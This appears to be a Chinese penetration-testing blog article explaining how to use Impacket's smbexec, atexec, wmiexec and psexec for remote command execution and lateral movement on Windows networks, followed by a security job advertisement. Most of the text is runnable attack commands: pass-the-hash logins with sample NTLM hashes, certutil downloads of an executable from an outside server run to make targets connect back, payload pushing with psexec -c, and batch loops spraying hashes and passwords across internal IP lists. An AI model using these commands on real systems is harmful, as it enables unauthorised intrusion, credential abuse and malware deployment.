查看原文
其他

Impacket套件之远程命令执行功能讲解

ycat E安全 2022-05-13

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

前言

    Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。

    本篇文章主要讲解Impacket套件内远程命令执行工具在实际工作中的使用,其中包含全交互式工具(通常适用于内网环境下或socks代理环境下)、半交互式工具(通常适用于webshell环境下)。应用环境如下。

    1.已有权限主机(包含webshell)不可出外网。
    2.已获取到一些NTLM哈希字符串,但解不出明文密码,无法通过ipc、rpd等登陆目标主机。
    3.已有权限主机可以出网,但出于某些原因需要在socks代理或端口转发的环境下进行内网渗透测试。

    Impacket套件里远程命令执行工具均支持密码、NTLM、票据认证,本文将会讲到密码和NTLM的使用方式,票据认证使用方式会在后续Impacket票据工具使用中详细讲解。


以下测试环境为
已有权限主机:192.XXX.X.144 (win2012)

目标主机:192.XXX.X.76 (win8.1)

测试反弹、下载外网vps ip: 10x.xx.xx.x7

已掌握情况为:当前已获取部分ntlm哈希、密码,并尝试内网横向扩展。


No.3

smbexe

smbexe为全交互式工具,所以不可用于webshell环境,可用于rdp等有交互环境登录使用或socks代理环境下使用。

此处测试环境独立于本篇文章测试环境,仅为说明,本篇文章内Impacket工具使用认证的账号rid必须为500,从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。

通过查看wrw账号,发现该用户处于administrators组 

如下图 执行以下两条操作,可发现使用管理组账号wrw进行smbexec.py远程执行命令操作会提示权限不足。

python smbexec.py ./administrator:Win2008@192.XXX.229.157
python smbexec.py ./wrw:Win2008@192.XXX.229.157

以下内容继续在测试环境测试
在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.XXX.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe 

rootkit/administrator:admin!@#45@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用local主机密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe 

./administrator:Win2008@192.168.3.76

在交互shell下,下载可执行程序(msf、cs等任意文件)

certutil -urlcache -split -f 

http://10x.xx.xx.x7:8080/lib8.exe


No.4

atexec

atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。

某些情况下,当获取到webshell之后,发现该主机不可出外网,且无法创建内网代理,只能通过webshell进行内网渗透测试, 如下图,在蚁剑客户端运行atexec,在远程机器上执行任意命令

atexec.exe 

./administrator:Win2008@192.168.3.76 "whoami"

atexec.exe

./administrator:Win2008@192.168.3.76 "ipconfig"

如果网络环境为已有内网socks代理环境,在socks网络环境下(图中所示socks工具为proxifier),可使用密码认证对远程主机192.168.3.76执行命令

atexec.exe

./administrator:Win2008@192.168.3.76 "whoami" 

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在socks网络环境下(图中所示socks工具为proxifier),使用域管帐户密码认证对远程主机192.168.3.76执行命令,下载可执行程序(如msf、cs、其他任意文件,如密码获取、信息收集等)

atexec.exe 

rootkit/administrator:admin!@#45@192.168.3.76 "certutil -urlcache -split -f http://10x.xx.xx.x7:8080/lib8.exe" 

在上图下载可执行程序情况下,使用域管帐户密码认证远程执行该程序,使主机反向回连

atexec.exe 

rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe" 

在上图下载可执行程序情况下,在linux主机下,使用proxychains代理工具,使用atexec远程执行该程序,使主机反向回连
注意此处,admin!@#45密码中的"!"需要转义,否则会报错。

proxychains python atexec.py rootkit/administrator:admin\!@#45@192.168.3.76 "lib8.exe"

使用远程主机NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes 

:518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76 "whoami"

由此可以写一些简单bat脚本,如批量对内网机器遍历做hash传递验证、指定主机ntlm hash遍历验证、内网机器遍历做密码验证、指定主机密码遍历验证。

内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条 

FOR /F %%i in (ips.txt) do atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB821 ./administrator@%%i  whoami 


指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条

FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76  whoami  


内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条

FOR /F %%i in (passwords.txt) do atexec.exe  ./administrator:%%i@192.168.3.76  whoami 


指定主机密码遍历验证,ips.txt内容为内网ip,每段一条

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i  whoami  


No.5

wmiexec

wmiexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

在webshell下,使用域管理员账号密码认证对远程主机192.168.3.76执行命令

wmiexec.exe 

rootkit/administrator:admin!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,wmiexec 产生一个伪交互的cmd shell

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76

在linux主机下,使用proxychains代理工具,使用wmiexec对远程主机192.168.3.76执行命令

proxychains python wmiexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用帐号密码认证对远程主机192.168.3.76执行命令 

wmiexec.exe

./administrator:Win2008@192.168.3.76 whoami

wmiexec也与atexec一样,可写脚本批量执行命令


No.6

psexec

    impacket套件内的psexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

    psexec.exe始于微软的pstools套件, 用于管理员远程管理windows主机资产,在渗透测试中也经常用来对远程计算机执行命令。

    与微软官方的psexec.exe做对比,官方psexec.exe执行远程命令会在远程主机创建一个PSEXEC的服务,并且命令执行后会一直存在,容易被管理人员发现并判断有入侵行为。impacket套件内的psexec,执行命令之后会删除对应的服务,隐蔽性更佳,而且impacket套件内的psexec支持PTH(哈希传递)。

    与官方psexec相同,impacket套件内的psexec也支持"-c"参数,参数解释如下,即复制本地可执行文件到远程主机并执行

-c pathname           copy the filename for later execution, arguments are 

passed in the command option

下文所讲述的是impacket套件内的psexec使用方法

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令

proxychains python psexec.py ./administrator:Win2008@192.168.3.76

在psexec执行过程中,在远程主机192.168.3.76查看服务,发现创建了一个rwzH的服务 

psexec执行完毕后,再在远程主机192.168.3.76查看服务,发现rwzH服务已不存在,psexec已自动删除自己创建的服务 

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令,注意密码内的"!"需要转义。

proxychains python psexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami

下面使用"-c"参数远程加载可执行程序,使目标主机反向回连。
execute.exe放到与psexec.exe相同目录。
首先创建exe可执行文件服务端。

在socks网络环境下(图中所示socks工具为proxifier),使用帐户密码对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe 

rootkit/administrator:admin!@#45@192.168.3.76 -c execute.exe

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 -c execute.exe

如下图,目标主机已正常回连,由于目标主机是双网卡主机,显示内网ip为另外一块网卡的ip。 

如果执行的命令需要耗费比较长时间,或加载可执行程序,在webshell执行psexec.exe可能会收不到回显信息(webshell执行命令有超时时间),所以建议把命令执行结果写到一个文件,然后查看文件内容即可。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "netstat -an" >log.txt

命令执行回显内容

impacket套件内的psexec也与atexec一样,可写脚本批量执行命令。


No.7

招聘启事

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部),广州
岗位剩余编制:3人
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


【工作地点】

杭州、广州


简历投递至 strategy@dbappsecurity.com.cn

专注渗透测试技术

全球最新网络攻击技术


END


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存